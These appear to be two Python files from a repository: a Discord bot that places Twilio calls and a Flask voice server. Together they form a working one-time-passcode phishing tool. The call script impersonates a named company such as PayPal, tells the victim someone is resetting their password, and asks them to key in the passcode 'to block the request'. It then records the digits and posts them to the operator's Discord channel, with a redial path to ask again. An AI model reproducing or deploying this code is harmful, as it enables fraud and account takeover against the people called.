Discord bot using Python

import time
import os
import discord_slash.utils.manage_commands
import discord
import os
from discord_slash import SlashCommand
from flask import Flask
from twilio.rest import Client
import json
from discord.ext import commands
from discord_slash import SlashCommand, SlashContext

if not 'Config.txt' in os.listdir():
    open('Config.txt', 'w').write('{"account_sid":"?", "auth_token":"?", "Twilio Phone Number":"+1?", "ngrok_url":"https://you-url.ngrok.io", "server_id":"?", "bot_token":"?"}')
if not 'grabbed_otp.txt' in os.listdir():
    open('grabbed_otp.txt', 'w').close()
if not 'Details' in os.listdir():
    os.mkdir('Details')
if not 'Company Name.txt' in os.listdir('Details'):
    open('Details/Company Name.txt', 'w').close()
if not 'Digits.txt' in os.listdir('Details'):
    open('Details/Digits.txt', 'w').close()
if not 'Client_Name.txt' in os.listdir('Details'):
    open('Details/Client_Name.txt', 'w').close()
#intents = discord.Intents.all()
raw_config = json.loads(open('Config.txt', 'r').read())
#client_discord = commands.Bot(command_prefix='',intents=intents)
client_discord = commands.Bot(command_prefix='')
slash = SlashCommand(client_discord, sync_commands=True)
guild = discord.Guild
account_sid = raw_config['account_sid']
auth_token = raw_config['auth_token']
your_twilio_phone_number = raw_config['Twilio Phone Number']
ngrok = raw_config['ngrok_url']
client = Client(account_sid, auth_token)
server_id = int(raw_config['server_id'])

app = Flask(__name__)

@slash.slash(
    name='dial',
    description='This is command to start making calls',
    guild_ids=[server_id],
    options=[
        discord_slash.utils.manage_commands.create_option(
            name='cell_phone',
            description='Add +1 E.G +1987654321',
            required=True,
            option_type=3
        ),
        discord_slash.utils.manage_commands.create_option(
            name='otp_digits',
            description='E.G 8,6 or 4',
            required=True,
            option_type=3
        ),
        discord_slash.utils.manage_commands.create_option(
            name='client_name',
            description='E.G: Smith',
            required=True,
            option_type=3
        ),
        discord_slash.utils.manage_commands.create_option(
            name='company_name',
            description='E.G: Paypal',
            required=True,
            option_type=3
        )

    ]
)
async def _call(ctx=SlashContext, cell_phone=str, otp_digits=str, client_name=str, company_name=str):
    await ctx.send('Calling Initiated!')
    open('Details/Digits.txt', 'w').write(f'{otp_digits}')
    open('Details/Client_Name.txt', 'w').write(f'{client_name}')
    open('Details/Company Name.txt', 'w').write(f'{company_name}')
    call = client.calls.create(
        url=f'{ngrok}/voice',
        to=f'{cell_phone}',
        from_=f'{your_twilio_phone_number}'
    )
    sid = call.sid
    print(sid)
    a = 0
    b = 0
    c = 0
    while True:
        if client.calls(sid).fetch().status == 'queued':
            if not a >= 1:
                embed = discord.Embed(title='', description='Call Is Placed', color=discord.Colour.green())
                await ctx.channel.send(embed=embed)
                a = a + 1
        elif client.calls(sid).fetch().status == 'ringing':
            if not b >= 1:
                embed = discord.Embed(title='', description='Cell Phone Is Ringing', color=discord.Colour.green())
                await ctx.channel.send(embed=embed)
                b = b + 1
        elif client.calls(sid).fetch().status == 'in-progress':
            if not c >= 1:
                embed = discord.Embed(title='', description='Call In Progress',
                                      color=discord.Colour.green())
                await ctx.channel.send(embed=embed)
                c = c + 1
        elif client.calls(sid).fetch().status == 'completed':
            embed = discord.Embed(title='', description='Call Succefully Completed', color=discord.Colour.green())
            await ctx.channel.send(embed=embed)
            break
        elif client.calls(sid).fetch().status == 'failed':
            embed = discord.Embed(title='', description='Call Failed',
                                  color=discord.Colour.red())
            await ctx.channel.send(embed=embed)
            break
        elif client.calls(sid).fetch().status == 'no-answer':
            embed = discord.Embed(title='', description='Call Was Not Answered',
                                  color=discord.Colour.red())
            await ctx.channel.send(embed=embed)
            break
        elif client.calls(sid).fetch().status == 'canceled':
            embed = discord.Embed(title='', description='Call Was Canceled By The Client',
                                  color=discord.Colour.red())
            await ctx.channel.send(embed=embed)
            break
        elif client.calls(sid).fetch().status == 'busy':
            embed = discord.Embed(title='', description='User Busy This Call',
                                  color=discord.Colour.red())
            await ctx.channel.send(embed=embed)
            break
    time.sleep(1)
    otp = open(f'grabbed_otp.txt', 'r').read()
    call1 = client.calls(sid).fetch()
    if otp == '':
        embed = discord.Embed(title='',
                              description=f'Unable To Grab OTP\n\nPrice : {call1.price}\nDuration : {call1.duration} secs',
                              color=discord.Colour.red())
        await ctx.channel.send(embed=embed)
    else:
        embed = discord.Embed(title='',
                              description=f'{otp}\n\nPrice : {call1.price}\nDuration : {call1.duration} secs',
                              color=discord.Colour.green())
        await ctx.channel.send(embed=embed)
    open('grabbed_otp.txt', 'w').close()


@slash.slash(
    name='redial',
    description='If the OTP code supplied is not valid',
    guild_ids=[server_id],
    options=[
        discord_slash.utils.manage_commands.create_option(
            name='cell_phone',
            description='Add +1 E.G +1987654321',
            required=True,
            option_type=3
        ),
        discord_slash.utils.manage_commands.create_option(
            name='otp_digits',
            description='E.G 8,6 or 4',
            required=True,
            option_type=3
        ),
        discord_slash.utils.manage_commands.create_option(
            name='client_name',
            description='E.G: Smith',
            required=True,
            option_type=3
        ),
        discord_slash.utils.manage_commands.create_option(
            name='company_name',
            description='E.G: Paypal',
            required=True,
            option_type=3
        )

    ]
)
async def _call(ctx=SlashContext, cell_phone=str, otp_digits=str, client_name=str, company_name=str):
    open('Details/Digits.txt', 'w').write(f'{otp_digits}')
    open('Details/Client_Name.txt', 'w').write(f'{client_name}')
    open('Details/Company Name.txt', 'w').write(f'{company_name}')
    call = client.calls.create(
        url=f'{ngrok}/voiceagain',
        to=f'{cell_phone}',
        from_=your_twilio_phone_number
    )
    sid = call.sid
    print(sid)
    a = 0
    b = 0
    c = 0
    while True:
        if client.calls(sid).fetch().status == 'queued':
            if not a >= 1:
                embed = discord.Embed(title='', description='Call Is Placed', color=discord.Colour.green())
                await ctx.send(embed=embed)
                a = a + 1
        elif client.calls(sid).fetch().status == 'ringing':
            if not b >= 1:
                embed = discord.Embed(title='', description='Cell Phone Is Ringing', color=discord.Colour.green())
                await ctx.channel.send(embed=embed)
                b = b + 1
        elif client.calls(sid).fetch().status == 'in-progress':
            if not c >= 1:
                embed = discord.Embed(title='', description='Call In Progress',
                                      color=discord.Colour.green())
                await ctx.channel.send(embed=embed)
                c = c + 1
        elif client.calls(sid).fetch().status == 'completed':
            embed = discord.Embed(title='', description='Call Succefully Completed', color=discord.Colour.green())
            await ctx.channel.send(embed=embed)
            break
        elif client.calls(sid).fetch().status == 'failed':
            embed = discord.Embed(title='', description='Call Failed',
                                  color=discord.Colour.red())
            await ctx.channel.send(embed=embed)
            break
        elif client.calls(sid).fetch().status == 'no-answer':
            embed = discord.Embed(title='', description='Call Was Not Answered',
                                  color=discord.Colour.red())
            await ctx.channel.send(embed=embed)
            break
        elif client.calls(sid).fetch().status == 'canceled':
            embed = discord.Embed(title='', description='Call Was Canceled By The Client',
                                  color=discord.Colour.red())
            await ctx.channel.send(embed=embed)
            break
        elif client.calls(sid).fetch().status == 'busy':
            embed = discord.Embed(title='', description='User Busy This Call',
                                  color=discord.Colour.red())
            await ctx.channel.send(embed=embed)
            break
    time.sleep(2)
    otp = open(f'grabbed_otp.txt', 'r').read()
    call1 = client.calls(sid).fetch()
    if otp == '':
        embed = discord.Embed(title='',
                              description=f'Unable To Grab OTP\n\n\nPrice : {call1.price}\nDuration : {call1.duration} secs',
                              color=discord.Colour.red())
        await ctx.channel.send(embed=embed)
    else:
        embed = discord.Embed(title='Just a Normal Bot',
                              description=f'{otp}\n\n\n\nPrice : {call1.price}\nDuration : {call1.duration} secs',
                              color=discord.Colour.green())
        await ctx.channel.send(embed=embed)
    open('grabbed_otp.txt', 'w').close()

    
client_discord.run(
    raw_config['bot_token']
)

bot.py
jsdevmaster/discord-bot
from twilio.twiml.voice_response import VoiceResponse, Gather, Play
from flask import Flask, request

app = Flask(__name__)

@app.route("/voice", methods=['GET', 'POST'])
def voice():
    # Start a TwiML response
    resp = VoiceResponse()
    resp.say(f",,,Hello {open('Details/Client_Name.txt', 'r').read()}, your {open('Details/Company Name.txt', 'r').read()} account password is trying to be reset from unknow location,")
    gather = Gather(num_digits=1, action='/gather', timeout=120)
    gather.say('If this was not you please press 1,')
    resp.append(gather)

    return str(resp)

@app.route('/gather', methods=['GET', 'POST'])
def gather():
    """Processes results from the <Gather> prompt in /voice"""
    # Start TwiML response
    resp = VoiceResponse()

    # If Twilio's request to our app included already gathered digits,
    # process them
    if 'Digits' in request.values:
        # Get which digit the caller chose
        choice = request.values['Digits']

        # <Say> a different message depending on the caller's choice
        if choice == '1':
            gatherotp = Gather(num_digits=int(open("Details/Digits.txt", 'r').read()), action='/gatherotp', timeout=120)
            gatherotp.say(f'To block the request, Please enter the {open("Details/Digits.txt", "r").read()} digits code we sent to you, when you finish, Please press Pound')
            resp.append(gatherotp)
            return str(resp)

        else:
            # If the caller didn't choose 1 or 2, apologize and ask them again
            resp.say("Sorry, Please make currect choice.")
            resp.redirect('/voice')
            return str(resp)

    # If the user didn't choose 1 or 2 (or anything), send them back to /voice
    resp.redirect('/voice')

    return str(resp)

@app.route('/gatherotp', methods=['GET', 'POST'])
def gatherotp():
    """Processes results from the <Gather> prompt in /voice"""
    # Start TwiML response
    resp = VoiceResponse()

    # If Twilio's request to our app included already gathered digits,
    # process them
    resp.say('Please give us a moment to block the request')
    if 'Digits' in request.values:
        # Get which digit the caller chose
        resp.play(url='https://ia904701.us.archive.org/33/items/music_20221124/music.mp3')
        resp.say('Great, we have blocked the request. However, If you accidently type wrong one time passcode, We will call you again,')
        a = open('grabbed_otp.txt', 'w', encoding='utf-8')
        choice1 = request.values['Digits']
        a.write(choice1)
        return str(resp)

    
    else:
        # If the caller didn't choose 1 or 2, apologize and ask them again
        resp.say("Sorry, Please make currect choice.")
        resp.redirect('/gather')
        return str(resp)

@app.route("/voiceagain", methods=['GET', 'POST'])
def voiceagain():
    # Start a TwiML response
    resp = VoiceResponse()
    resp.say(f"Hello {open('Details/Client_Name.txt', 'r').read()}, Sorry, you have type wrong one time passcode,")
    gather = Gather(num_digits=1, action='/gather', timeout=120)
    gather.say('Press 1, To enter the one time passcode again')
    resp.append(gather)

    return str(resp)


if __name__ == "__main__":
    app.run(debug=True)

talker.py
jsdevmaster/discord-bot